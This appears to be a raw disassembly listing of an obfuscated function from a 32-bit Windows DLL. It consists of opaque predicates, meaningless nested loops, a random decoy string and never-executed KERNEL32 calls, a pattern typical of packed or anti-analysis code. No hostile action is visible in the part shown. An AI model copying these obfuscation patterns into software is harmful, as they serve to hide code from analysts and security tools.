and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x7e0]
je 0x1001e862
mov dword [ebp - 0x7e8], 1
jmp 0x1001e869
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x7e8], eax
je 0x1001e880
mov dword [ebp - 0x7f0], 1
jmp 0x1001e887
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x7f0]
mov dword [ebp - 0x148], eax
jmp 0x1001ea4d
mov dword [ebp - 0x370], 0xffffffff
mov dword [ebp - 0x3ec], 0xba308d5b
mov dword [ebp - 0x54], 0xffffffe4
jmp 0x1001e8bc
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x2a
jle 0x1001ea4d
mov dword [ebp - 0x40c], 7
mov dword [ebp - 0x24], 0
jmp 0x1001e8e0
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x1001ea1a
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x3fc], 0xfffffffe
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x44]
mov dword [ebp - 0xd80], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x44]
mov dword [ebp - 0xed0], eax
mov eax, 0x3d3b
test eax, eax
je 0x1001e93a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x44], 0
je 0x1001e93a
mov dword [ebp - 0x7f8], 1
jmp 0x1001e941
and dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x7f8], 0xab38
jg 0x1001e962
cmp dword [ebp - 0x370], 0
je 0x1001e962
mov dword [ebp - 0x3e0], 1
jmp 0x1001e969
and dword [ebp - 0x3e0], 0
mov dword [ebp - 0x800], 0xde30
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x800]
add ecx, dword [ebp - 0x3e0]
sub ecx, dword [ebp - 0x370]
sub ecx, dword [ebp + eax*4 - 0x44]
cmp ecx, 0xfbcd
jle 0x1001e9a0
mov dword [ebp - 0x3e4], 1
jmp 0x1001e9a7
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3ec]
cmp ecx, dword [ebp + eax*4 - 0x44]
jne 0x1001e9db
cmp dword [ebp - 0x40c], 0
jne 0x1001e9db
push 3
pop eax
test eax, eax
jne 0x1001e9db
and dword [ebp - 0x3f4], 0
jmp 0x1001e9e5
mov dword [ebp - 0x3f4], 1
mov eax, dword [ebp - 0x370]
imul eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x148], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x44]
mov ecx, dword [ebp - 0x24]
mov dword [ebp + ecx*4 - 0x44], eax
jmp 0x1001e8d9
cmp dword [ebp - 0x54], 0
je 0x1001ea35
cmp dword [ebp - 0x148], 0
je 0x1001ea35
mov dword [ebp - 0x404], 1
jmp 0x1001ea3c
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x40c], eax
jmp 0x1001e8b5
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x9a8], eax
push dword [ebp - 0x9a8]
push dword [ebp - 0x9b0]
call dword [0x1013e3d8]
mov dword [ebp - 0x9d0], eax
mov dword [ebp - 0x414], 0x6f6f
mov dword [ebp - 0x9b8], str.iduovwrmo_cmlbhhyap_vlbuovp_dtrivprd_ruyr_nrwu_vkvcjcnez_forvbz_aiyznhsfn_uczm_xalvfrbj_vzmfgrtic_rtha
cmp dword [ebp - 0x414], 0x72f1
jle 0x1001eb71
and dword [ebp - 0x2fc], 0
jmp 0x1001eaab
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x384e
jge 0x1001eb71
and dword [ebp - 0x2ec], 0
jmp 0x1001ead1
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x50c1
jge 0x1001eb6c
and dword [ebp - 0x2f4], 0
jmp 0x1001eaf7
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x25c8
jge 0x1001eb67
and dword [ebp - 0x304], 0
jmp 0x1001eb19
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x36bf
jge 0x1001eb65
mov ecx, dword [ebp - 0x2ec]
imul ecx, dword [ebp - 0x2f4]
mov eax, dword [ebp - 0x2fc]
sar eax, cl
xor eax, dword [ebp - 0x304]
cdq
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0xaa4], edx
push dword [ebp - 0xaa4]
push dword [ebp - 0xaa8]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x1001eb0c
jmp 0x1001eaea
jmp 0x1001eac4
jmp 0x1001ea9e
mov dword [ebp - 4], 0x3b
cmp dword [ebp - 0x414], 0x6d3d
jge 0x1001eb94
mov edx, dword [ebp - 0x9b8]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x1001ebb0
or dword [ebp - 4], 0xffffffff
jmp 0x1001ebba
mov dword [ebp - 0x378], 0xc07e17f7
mov dword [ebp - 0x41c], 5
mov dword [ebp - 0x9c0], 0x12d2
mov dword [ebp - 0x424], 0x6c9cd49f
mov dword [ebp - 0x9c8], 0xed40a165
mov eax, dword [ebp - 0x378]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp - 0x41c]
sub eax, dword [ebp - 0x424]
cmp eax, dword [ebp - 0x378]
jge 0x1001ec24
mov dword [ebp - 0x42c], 1
jmp 0x1001ec2b
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x378]
cmp dword [ebp - 0x42c], eax
jne 0x1001ec45
mov dword [ebp - 0x434], 1
jmp 0x1001ec4c
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x9c8], eax
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x1001ec7a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov eax, dword [ebp - 0x9d0]
jmp 0x1001f003
mov dword [ebp - 0x47c], 6
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x80], 0
jmp 0x1001eca9
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x1001ecbf
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xbfc], 0xf825
jmp 0x1001eca2
mov dword [ebp - 0x80], 0
jmp 0x1001eccf
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x1001ece5
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xd4], 0xd8a87013
jmp 0x1001ecc8
mov byte [ebp - 0xdb], 0
movzx eax, byte [ebp - 0xdb]
test eax, eax
je 0x1001ed04
push 0
push 0x24d5
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd4], 0
jmp 0x1001ed32
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4], 3
jg 0x1001f001
mov dword [ebp - 0x12c], 0x73ff82ff
mov dword [ebp - 0xd88], 0x39d6b9c2
mov dword [ebp - 0xe5c], 4
mov dword [ebp - 0xd90], 0x2314af1
mov dword [ebp - 0x43c], 1
mov dword [ebp - 0x9d8], 0xe70d28e4
mov dword [ebp - 0x30c], 0
jmp 0x1001ed9b
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 3
jge 0x1001edb7
mov eax, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0xe78], 0
jmp 0x1001ed8e
mov dword [ebp - 0x12c], 0
jmp 0x1001edd0
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jg 0x1001ef8b
mov dword [ebp - 0x454], 0x5fcb
mov dword [ebp - 0x314], 0
jmp 0x1001ee00
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 2
jge 0x1001ee1c
mov eax, dword [ebp - 0x314]
mov dword [ebp + eax*4 - 0xe18], 0xffffffff
jmp 0x1001edf3
mov eax, dword [ebp - 0x12c]
cmp dword [ebp + eax*4 - 0xbfc], 0
jne 0x1001ee8f
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x47c], 1
ja 0x1001ee4e
mov dword [ebp - 0x444], 1
jmp 0x1001ee55
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 1
je 0x1001ee6a
mov dword [ebp - 0x44c], 1
jmp 0x1001ee71
and dword [ebp - 0x44c], 0
cmp dword [ebp - 0x44c], 0xb5a9cea4
je 0x1001ee86
mov eax, 0x9dc86695
test eax, eax
jne 0x1001ee8f
mov eax, 0x1d2a
test eax, eax
je 0x1001ee98
cmp dword [ebp - 0x454], 0
jne 0x1001eea6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe18], 0
cmp dword [ebp - 0x454], 0xf13bcf59
jne 0x1001eebe
mov dword [ebp - 0x45c], 1
jmp 0x1001eec5
and dword [ebp - 0x45c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x150]
imul ecx, dword [ebp - 0x45c]
cmp ecx, dword [ebp + eax - 0xbfc]
jle 0x1001eeec
mov dword [ebp - 0x464], 1
jmp 0x1001eef3
and dword [ebp - 0x464], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x464]
sub ecx, dword [ebp + eax - 0xd4]
jne 0x1001ef1a
cmp dword [ebp - 0x9d8], 0
jne 0x1001ef1a
and dword [ebp - 0x46c], 0
jmp 0x1001ef24
mov dword [ebp - 0x46c], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xbfc]
cmp dword [ebp - 0x46c], eax
jne 0x1001ef52
mov eax, dword [ebp - 0x12c]
cmp dword [ebp + eax*4 - 0xbfc], 0
jne 0x1001ef52
and dword [ebp - 0x474], 0
jmp 0x1001ef5c
mov dword [ebp - 0x474], 1
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x47c], eax
mov byte [ebp - 0xdd], 0
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x1001ef86
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
jmp 0x1001edc3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov eax, dword [ebp + eax*4 - 0xbfc]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xd4]
mov dword [ebp + ecx*4 - 0xbfc], eax
mov dword [ebp - 0x150], 3
jmp 0x1001efcc
mov eax, dword [ebp - 0x150]
dec eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jl 0x1001effc
mov dword [ebp - 0xe80], 0xfffffff8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe78]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe78], eax
jmp 0x1001efbf
jmp 0x1001ed17
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret